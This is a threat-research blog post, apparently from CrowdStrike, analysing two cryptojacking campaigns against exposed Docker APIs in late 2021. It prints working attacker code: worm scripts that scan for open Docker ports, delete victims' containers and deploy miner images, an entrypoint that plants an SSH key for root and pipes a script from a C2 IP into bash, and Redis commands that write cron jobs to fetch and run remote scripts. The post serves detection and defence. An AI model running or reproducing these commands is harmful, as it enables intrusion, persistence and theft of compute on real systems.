New Docker Cryptojacking Attempts Detected Over 2021 End-of-Year Holidays

January 27, 2022

| | Cloud & Application Security
Cryptocurrency mining has become very popular among malicious actors that aim to profit by exploiting cloud attack surfaces. Exposed Docker APIs have become a common target for cryptominers to mine various cryptocurrencies. According to the Google Threat Horizon report published Nov. 29, 2021, 86% of compromised Google Cloud instances were used to perform cryptocurrency mining. Various cryptomining groups such as Kinsing, TeamTNT, WatchDog and others have successfully run the campaigns against the exposed cloud attack surface to profitably mine the cryptocurrency Monero.

Exposed Docker APIs

Docker is the platform for building, running and managing containers. Like most software platforms, Docker provides a number of APIs to help developers with automation. These APIs can be made available using local Linux sockets or daemons on choice of port (default port is 2375). Docker is primarily used to run the container workloads in the cloud, since it is easy to misconfigure underlying cloud instances to be exposed to the internet. By design, Docker APIs can be exposed to the cloud. Most of these exposed Docker APIs are configured to allow anonymous access providing privileged access to the host. Not only that, the most popular container orchestration Kubernetes uses Docker as a runtime. (Recently, Kubernetes has standardized the container runtime with CRIO deprecating Docker.)

 

 The tactics, techniques and procedures (TTPs) required for exploiting the exposed Kubernetes and Docker containers are well documented and publicly available for use. The attackers look at this attack surface as a publicly available free compute that can be used for opportunistic crypto currency mining (cryptojacking). That’s why CrowdStrike has observed numerous attempts by various cryptomining groups to exploit these attack surfaces.

 

New Cryptocurrency Mining Campaign Kick-starts on Christmas

During the last two weeks of 2021, a new cryptomining campaign was observed targeting exposed Docker APIs. At the same time, WatchDog, a known cryptomining group, updated its TTPs for the attack. Let’s take a closer look at both developments. While there are many long-running campaigns by various known cryptomining groups targeting exposed Docker APIs and Kubernetes to mine cryptocurrency, from time to time a new group or campaign emerges attempting to do the same. CrowdStrike Engineering researchers recently observed a new campaign targeting the exposed Docker APIs to mine cryptocurrency Monero. This campaign uses two new images from a Docker account to run the malicious containers. The new images were updated and deployed on Dec. 25, 2021 to begin the campaign targeting exposed Docker APIs.
Figure 1. Malicious images by new campaign

Technical Details

The two malicious images used in this cryptocurrency mining campaign are very similar and make use of almost the same components. The entrypoint of the image given below is pointed to “start.sh,” which does numerous checks and sets up the cryptomining operation within the container. 
docker -H $1:2375 run -itd –restart=always –name applinefasd acgngame/fnxb /etc/docker_exp/start.sh

Malicious Entrypoint

Below is the summary of each script that is used after executing Entrypoint and its function: 1. Start.sh: Calls main.sh using bash 2. Main.sh: Calls number of scripts successively to do the various jobs in order to set up a mining operation. As shown below, scripts are executed in sequence. 
!/bin/bash
/etc/docker_exp/clean.sh
#清理垃圾
/etc/docker_exp/run.sh
#启动run.sh进行挖矿
/etc/docker_exp/gxmr.sh
#启动gxmr.sh守护进程，守护挖矿
/etc/docker_exp/killer.sh
#启动killer.sh杀手进程，查杀其他黑客
sleep 72h
#等待挖矿了3天后执行感染阶段
/etc/docker_exp/gmasscan.sh
#启动gmasscan.sh守护进程，守护扫描
while true
do
/etc/docker_exp/scanner.sh
#进行扫描
/etc/docker_exp/parser.sh
#格式化ip列表
/etc/docker_exp/filter.sh
#过滤ip
/etc/docker_exp/attack.sh
#攻击ip
/etc/docker_exp/clean.sh
#清理垃圾
sleep 120
#休息5天
done

Entrypoint script

3. clean.sh: Deletes existing files before running the miner 4. run.sh: Runs the miner using the xmrig binary and provides following wallet address as an argument; wallet address: 
46CproiCQ98ba2SDseuMGf9Mx8rvP2NxFASadxafu7CdehRmy4whEvBZiFYSBRd7BB2RYDZ55sSW4ZECvy4cX6FFP6eyJY8
5. gxmr.sh: Makes sure that only one instance of the miner is running 6. killer.sh: Stops all other containers apart from the attacker’s mining container 7. gmsscan.sh: Installs mass scanner if it doesn’t exist which is network scanning tool like nmap 8. scanner.sh: Scans predefined IP ranges, attacker has configured 4162 IP ranges as part of this script 9. parser.sh and filter.sh: Probe in parallel for Docker APIs and saves results based on responses. The following code shows a text file “after.txt” is created with curated IPs for further attack: 
#!/bin/bash
status_code=$(curl -I -m 10 -o /dev/null -s -w %{http_code} http://$1:2375/)
echo $status_code $1
if < "${status_code}" -eq "404" >;then
	echo $1 >> /etc/docker_exp/after.txt
fi
9. attack.sh and attack_addon.sh: Runs malicious container on IPs determined in earlier step 
names=$(docker -H $1:2375 images)
result=$(echo $names | grep "${myimages}")
rongqis=$(docker -H $1:2375 ps -aq)
if << "$result" != "" >>
then
	echo 有了
else
	docker -H $1:2375 stop $rongqis
	docker -H $1:2375 rm -f $rongqis
	docker -H $1:2375 pull acgngame/fnxb
	docker -H $1:2375 run -itd --restart=always --name applinefasd acgngame/fnxb /etc/docker_exp/start.sh
	echo success
fi
10. clean.sh: Clears generated IP lists

The Newbie Attempt

As discussed earlier, this campaign uses malicious images consisting of a number of malicious Bash scripts that jumpstart the cryptominer, and then scans and exploits new attack surfaces. This campaign’s initial aim seems to be setting up and running a mining operation rather than being sophisticated, but in the future the actor behind the campaign can innovate or borrow from its peers to add more sophisticated techniques. Currently, this campaign doesn’t include many techniques used by similar campaigns; as a few examples, these images don’t:
  • Attempt to break out of the container for persistence or to create a backdoor
  • Use any command-and-control (C2) for distribution, to exfiltrate (data, credentials or keys) or to update, which limits the spread of the images
  • Target Kubernetes or misuse its features unless Docker APIs are exposed
  • Use any rootkit or other components from commodity malwares (for example, Kinsing’s use of the BUERK rootkit)
  • Attempt to disguise or hide their operation or optimize it for mining
Figure 1 shows the performance of malicious Docker images, where a spike in hashrate was observed when the new images were initially deployed. But the hashrate drops significantly as the malicious images fail to grab and maintain the container attack surface, although a payout was observed from this attempt, as shown.
Figure 1. Performance of malicious Docker images (Click to enlarge)
Figure 2. Malicious Docker image performance (fails to grab attack surface)

WatchDog’s Updated Images Targeting Docker, Redis and PostgreSQL

WatchDog is an infamous cryptomining group that targets Docker APIs and numerous other attack surfaces to mine Monero. It was discovered by Palo Alto earlier last year. As you can see in Figure 3, CrowdStrike observed that WatchDog updated its malicious images just a couple of weeks before the year-end holidays. Figure 4 shows, multiple scripts were also updated on the Command and Control server used by WatchDog.
Figure 3. Updated Docker images by WatchDog
Figure 4. C2 WatchDog (updated 12/6/2021)
From data CrowdStrike has collected from various sources, both malicious images spread notably in the wild, representing a collective share of 25% of all in-the-wild images seen in the final two weeks of 2021 which is shown in Figure 5 below.
Figure 5. ITW image distribution

Technical Details

The new malicious images have focused simply on cryptomining using xmrig and scanning to find new attack surfaces. The additional functionality seen in the older version of the image seems to be missing or is being used in the second phase of the discovery. 1. Entrypoint The following code block shows the image entrypoint which launches a Bash script “.system” that subsequently installs necessary packages and further executes multiple binaries including xmrig for cryptomining. 
export LC_ALL=C.UTF-8
export LANG=C.UTF-8 
export DOCKER_API_VERSION=1.24


ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/null
if < $? != 0 >;then
    sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories  
fi 
mkdir -p /var/tmp/.apache/...

apk update
apk add redis docker jq libpcap-dev openrc curl --no-cache

cd /var/tmp/.crypto/...
./httpd-crypto

cd /var/tmp/.apache/...
./httpd

cd /usr/share/.apache/...
sleep 60
./httpd
2. Use of proxy pool with httpd-crypto This binary sets up and executes xmrig as “.ddns”. At the same time, it downloads from a C2 server the “reg4.tar.gz” file, which is actually a JSON file holding the configuration for xmrig. This file further indicates the use of a cryptomining proxy pool to help hide the actual crypto wallet addresses, so we cannot be sure who is benefiting from this campaign, but attribution is discussed in the following sections.
Figure 5. Xmrig binary execution as “.ddns”’ with the reg4.tar.gz config file pointing to a proxy pool (Click to enlarge)
3. /usr/share/.apache/httpd (scans for Redis, PostgreSQL and Docker APIs) As shown in Figure 6, this binary executes a Bash file(apache4) that launches the disguised massscan binary. It is stored on the image as “/bin/apache2.”
Figure 6. httpd binary launches apache4
The disguised masscan binary scans for ports 5432, 6379, 2375 and 2376 (PostgreSQL, Redis and Docker) to launch phase two of the attack.
  • If a vulnerable Docker API is found, it launches an Alpine base image with host root mount and malicious Base64-encoded entry point. The following code block shows a decoded entrypoint which downloads further scripts from C2 server to mine cryptocurrency.
ssh-keygen -N "" -f /tmp/TeamTNT
mkdir -p /root/.ssh
chattr -R -ia /root/.ssh/ 2>/dev/null; tntrecht -R -ia /root/.ssh/ 2>/dev/null; ichdarf -R -ia /root/.ssh/ 2>/dev/null
cat /tmp/TeamTNT.pub >> /root/.ssh/authorized_keys
cat /tmp/TeamTNT.pub > /root/.ssh/authorized_keys2
rm -f /tmp/TeamTNT.pub
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i /tmp/TeamTNT root@127.0.0.1 "(curl http://104.192.82.138/s3f1015/c/a.sh||cd1 http://104.192.82.138/s3f1015/c/a.sh||wget -q -O- http://104.192.82.138/s3f1015/c/a.sh||wd1 -q -O- http://104.192.82.138/s3f1015/c/a.sh)|bash"

Base64-decoded malicious entry point

  • If a vulnerable Redis instance is found, then cron jobs are scheduled to mine cryptocurrency and pivot, as shown below:
config set dbfilename "backup.db"
save
config set stop-writes-on-bgsave-error no
flushall
set backup1 "\n\n\n*/2 * * * * cd1 -fsSL http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
set backup2 "\n\n\n*/3 * * * * wget -q -O- http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
set backup3 "\n\n\n*/4 * * * * curl -fsSL http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
set backup4 "\n\n\n*/5 * * * * wd1 -q -O- http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
set backup5 "\n\n\n*/5 * * * * wdz -q -O- http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
set backup6 "\n\n\n*/2 * * * * cdz -fsSL http://104.192.82.138/s3f1015/b/a.sh | sh\n\n"
config set dir "/var/spool/cron.html"
.
.

Redis malicious cron job setup

  • In the case of postgreSQL, the script only scans and saves detected postgreSQL instances
We consider this to be the second phase of the attack, where wormlike behavior is used for discovery of multiple attack surfaces like Docker, Redis and PostgreSQL and for further exploitation. 4. /var/tmp/.apache/httpd This is a pivot binary that launches “/bin/httpd” and “/bin/httpd_crypto” from the base image. 5. Crypto Wallets As discussed, the campaign used proxy mining pools to hide actual wallet addresses, but the second phase of the attack and retrieved wallet addresses from the C2 server (command and control - 104.192.82<.>138) suggests it’s a WatchDog campaign. The wallet addresses are actively being used to mine and transfer Monero, as shown below. Wallet addresses:

 

 
43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz
89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq
Figure 7. Active campaign by WatchDog (Click to enlarge)

Conclusion

Cryptocurrency mining has benefited cryptomining groups that aim to profit by targeting public cloud attack surfaces. Multiple crytoming groups are competing with each other to grab this attack surface first. As we have seen, from time to time a new mining campaign emerges to profit from this operation

 

But the effectiveness of the campaign depends on the TTPs being used. Meanwhile, mature mining groups like WatchDog continue to evolve their tools and techniques to maintain the hashrate and their profitable operation.

How to Protect Against Exposed Docker APIs

To protect yourself from above attacks, you can make use of following tips:
  • Use authentication to protect your Docker API
  • Use Zero Trust policies to control egress and ingress access to your workloads
  • Add image scanning in your CI/CD pipeline to know the vulnerabilities or malicious binary presence
  • Use a trusted base image for your application
  • Use tools which can identify indicators of misconfiguration (IOM) for Docker and Kubernetes in addition to cloud provider

CrowdStrike Protection

The CrowdStrike Falcon® platform detects malicious images at the pre-deployment stage using registry scanning where users can stop the image deployments. CrowdStrike also protects its customers with it’s runtime protection and cloud machine learning models from any post-exploitation activities. As shown in Figure 7, a malicious mining process was killed by the CrowdStrike machine learning model. Figure 8 additionally shows the origin of the process and container information using CrowdStrike Threat Graph®.
Figure 7. CrowdStrike Cloud-based ML killing a malicious container process (Click to enlarge)
Figure 8. CrowdStrike Threat Graph for the malicious process (Click to enlarge)
Note: At the time of writing, the “docker72590/alpine:latest” image had been updated by the malicious actor.

Additional Resources
Breaches Stop Here
Related Content
Shift Left, Measure Right: Assessing the Efficacy of Application Security in the Age of CI/CD
Shift Left, Measure Right: Assessing the Efficacy of Application Security in the Age of CI/CD
CrowdStrike Falcon Platform Supports Google Cloud's ARM-Based Axion CPUs
CrowdStrike Falcon Platform Supports Google Cloud's ARM-Based Axion CPUs
CrowdStrike Research Challenges Containerized Application Predictability Assumptions
CrowdStrike Research Challenges Containerized Application Predictability Assumptions